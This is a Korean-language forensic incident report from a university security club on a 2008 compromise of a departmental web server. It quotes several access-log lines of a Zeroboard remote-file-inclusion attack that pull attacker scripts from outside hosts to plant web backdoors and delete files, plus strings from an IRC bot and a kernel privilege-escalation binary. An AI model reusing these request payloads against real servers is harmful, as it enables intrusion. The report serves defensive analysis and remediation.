전북대학교토목공학과웹서버사고분석 2008. 7. 31 전북대학교정보보안동아리 IS 신승용 (player0@chonbuk.ac.kr) 전북대학교토목공학과웹서버사고분석 1 of 9 07/31/2008
1. 시스템정보 주소 : civil.chonbuk.ac.kr (203.254.141.29) 소프트웨어환경 OS : Debian 3.0 (Woody : 2007.07.20) with Kernel 2.2.20 Webserver : apache 1.3.9 with PHP 4.1.2 ftpd : proftpd 1.2.8 sshd : opensshd 3.4p DBMS : mysql 3.23.49 웹페이지운영상황 zeroboard 4.1 pl5 (2004.12.28) 을설치하여운영중 (/var/www/bbs) 80/tcp 를통하여접근가능한경로에 zeroboard 4.0.0 pl4 (2001. 5. 24) 유지. (/var/www/zboard) chkrootkit, tripwire 등의루트킷감지프로그램및시스템무결성점검프로그램미설치 전북대학교토목공학과웹서버사고분석 2 of 9 07/31/2008
2. 분석내용 1. 최초 2008년 7월 28일토목공학과사무실에서메인페이지위변조확인 2. livecd 로부팅하여확인결과주요로그파일의내용삭제확인 (2008.05.03 18:00:00부터 2008.07.25 00:00:00 까지의모든로그삭제 ) 이로인하여, 정확한웹페이지위변조방법과접근경로의추측이어렵게됨삭제된로그시간대에침입이있었던것으로추정 3. 그이외시간대의로그들은 logrotate 에의해압축저장되어있었으며, 파일접근시간확인결과, 나머지로그파일들은외부로부터의수정은없었던것으로추정할수있었다. [ 그림 3], [ 그림 4], [ 그림 5] 참고 4. 이전로그확인결과, 2008년 1월 22일 15:39:20 (85.214.144.156) 에서대상서버로 zeroboard 4.1 의 PHP Injection 을시도하였으며, 공격성공을확인 85.214.114.156 [22/Jan/2008:15:39:20 +0900] 200 GET /bbs//skin/zero_vote/ask_password.php?dir=http://heartlandcandles.org/ca rt/list.txt??? HTTP/1.1 5. 17:26:21 backdoor (o.txt) 최초설치 (196.206.93.111) (/var/www/bbs) 196.206.93.111 [22/Jan/2008:17:26:21 +0900] 200 GET /bbs//skin/zero_vote/ask_password.php?dir=http://www.buergerfunk-boch um.de/cmd.txt?http://sniffo.altervista.list.txt?&action=edit&chdir=/var/ww w/bbs/&file=o.txt HTTP/1.1 6. 17:57:32(196.206.93.111), 18:33:36(213.140.17.103) 에서추가 backdoor (aa.txt) 설치 (/var/www/%20%20%20%20%20%20%20/%20%20%20%20%20%20%20) 196.206.93.111 [22/Jan/2008:17:57:32 +0900] 200 GET /bbs//skin/zero_vote/ask_password.php?dir=http://www.buergerfunk-boch um.de/cmd.txt?http://sniffo.altervista.list.txt?&action=edit&chdir=/var/ww w/%20%20%20%20%20%20%20/%20%20%20%20%20%20%20/&file=aa.t xt HTTP/1.1 213.140.17.103 [22/Jan/2008:18:33:36 +0900] 200 GET /bbs//skin/zero_vote/ask_password.php?dir=http://www.buergerfunk-boch um.de/cmd.txt?http://sniffo.altervista.list.txt?&action=edit&chdir=/var/ww w/%20%20%20%20%20%20%20/%20%20%20%20%20%20%20/&file=aa.t xt HTTP/1.1 전북대학교토목공학과웹서버사고분석 3 of 9 07/31/2008
7. 19:27:00 경 access_log 상에는발견되지않았으나 ircbot 이설치되어있었던것을삭제하는로그가확인되었으므로이전에 ircbot(iroffer) 이설치되어있던것으로추정된다. 84.223.206.68 [22/Jan/2008:19:27:34 +0900] 200 GET /bbs//skin/zero_vote/ask_password.php?dir=http://www.buergerfunk-boch um.de/cmd.txt?http://sniffo.altervista.list.txt?&action=del&chdir=/var/ww w/bbs/%20%20%20%20%20%20%20/%20%20%20%20%20%20%20/%20% 20../..%20%20/&file=linux&type=file HTTP/1.1 실제 1월 22일날짜로 ircbot(iroffer) 이설치되어있는것을확인. ( 파일이름 : linux) [ 그림 1] : ircbot 이설치된화면 ircbot 프로그램문자열일부추출 (linux) read from stdin failed: %s can't set terminal settings: %s can't get terminal settings: %s cannot use foreground mode on a non-terminal ** Window Size Changed To: %dx%d iroffer v1.3.b11 [Unknown] [MoD v3] by PMG, see http://iroffer.org/ Modded by Coloss - STRONGLY PRIVATE This Iroffer MoD has been created only for testing purpose. I'm not responsable for the other people that use this. It has to remain private because most of people don't know what 'testing purpose' means.. Fuck all script-kiddies and especially them of the warez-crews. Anyway I hope you 'll use it only for testing and LEGAL actions. If you want to know what are the new features of this iroffer well... look at the source code! And if you haven't it then probably you aren't autorizhed to have this 전북대학교토목공학과웹서버사고분석 4 of 9 07/31/2008
:) probably you have stolen it like a fucking lammahz. Grow up kiddie.. Knowledege is power! Coloss iroffer v1.3.b11 [Unknown] [MoD v3] by PMG, see http://iroffer.org/ Modded by Coloss - STRONGLY PRIVATE Usage: %s [-vdnc] [-f proc] [-m pwd] configfile -v Print version and exit. -d Print disclaimer and exit. -n Doesn't fork to background -c Generate encrypted password and exit. -f proc Fakes iroffer process with <proc> -m pwd Enter master password %s: [IrO MoD] error during faking process %s: [IrO MoD] error starting iroffer *** Error! Invalid Master Password! 8. access_log 과 error_log 에업로드결과가확인되지않았으나, 동일시간대에 bbs 디렉터리에 rootkit 이설치된것을보아 backdoor 를통한 rootkit 업로드가추정된다. rootkit 프로그램확인 (local) livecd:/var/www/bbs# ls local -al -rwxr-xr-x 1 www-data www-data 445808 1월 22 2008 local* livecd:/var/www/bbs# file local local: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, stripped livecd:/var/www/bbs# 전북대학교토목공학과웹서버사고분석 5 of 9 07/31/2008
local 파일문자열일부추출 [-] %s: %s [-] Unable to exit, entering neverending loop. Kernel seems not to be vulnerable double allocation Unable to determine kernel address Unable to set up LDT Unable to change page protection Invalid LDT entry Unable to jump to call gate /bin/sh Unable to spawn shell PATH=/usr/bin:/bin:/usr/sbin:/sbin Unable to allocate memory Unable to unmap stack Unable to expand BSS /dev/null TOP_PAD_ MMAP_MAX_ TRIM_THRESHOLD_ MMAP_THRESHOLD_ Arena %d: system bytes = %10u in use bytes = %10u Total (incl. mmap): max mmap regions = %10u max mmap bytes = %10lu malloc: top chunk is corrupt free(): invalid pointer %p! malloc: using debugging hooks realloc(): invalid pointer %p! Unknown error apic mtrr 전북대학교토목공학과웹서버사고분석 6 of 9 07/31/2008
실제이 rootkit 이실행되었는지의기록은남아있지않으나, 이후남아있는 auth.log 의내용에서 nobody 에서 root 로 switch user 가발생하는기록이나오는것으로보아 rootkit 이정상적으로동작했음을짐작할수있다. [ 그림 2] : auth.log 에남아있는 nobody 의 root 로의유저변경기록 3. 조치내용 침해시스템은사고발견즉시네트워크에서분리시키고, 웹문서부분중악성코드삽입유무를확인한뒤새로운시스템에다시기록하도록권고하였다. 문제가발생하였던게시판프로그램은즉시제거하였으며, 새로운시스템에서는기존의보안적결함이없는게시판프로그램을사용하도록조치하였다. 4. 결론및대책 이번침해사고의특징은기존에문제가확인되었던웹응용프로그램의취약점을조기에조치하지못한상황에서침입탐지시스템등의부재및시스템관리자의관리소홀이불러올수있는문제점을보여준사례였다. 취약점이공개된소프트웨어의패치가관리자나, 사용자에의해즉시이루어졌다면, 시스템침해사고도발생하지않았을뿐만아니라, 그뒤이어발생한페이지위변조사고또한발생하지않았을것이다. 또한침입탐지시스템의부재가가져올수있는결과또한, 침해사고가발생한시스템이외부로크게문제점이보여지지않는한계속침해상태로유지된다는점또한보여준사례라할수있다. 이번사고를통해서얻어낼수있는결과는아래와같이요약될수있다. 시스템관리자또는사용자의보안의식강화및시기적절한응용프로그램의보안설정. 침입탐지시스템의필요성. 전북대학교토목공학과웹서버사고분석 7 of 9 07/31/2008
5. 참고자료 1. 이번사고에서사용된보안취약점에대한문서 Zeroboard DIR Parameter Remote File Include Vulnerabilities (2005.01.10) -> http://www.securityfocus.com/bid/12206/info STG 시큐리티보안권고문 (2004.11.31) -> http://www.securityfocus.com/archive/1/387076 전북대학교토목공학과웹서버사고분석 8 of 9 07/31/2008
2. 참고화면 [ 그림 3] : message log 의일정시간영역이삭제된화면 [ 그림 4] : access_log 의일정시간영역이삭제된화면 [ 그림 5] : error_log 의일정시간영역이일반적으로발생하지않는이벤트로기록된화면 전북대학교토목공학과웹서버사고분석 9 of 9 07/31/2008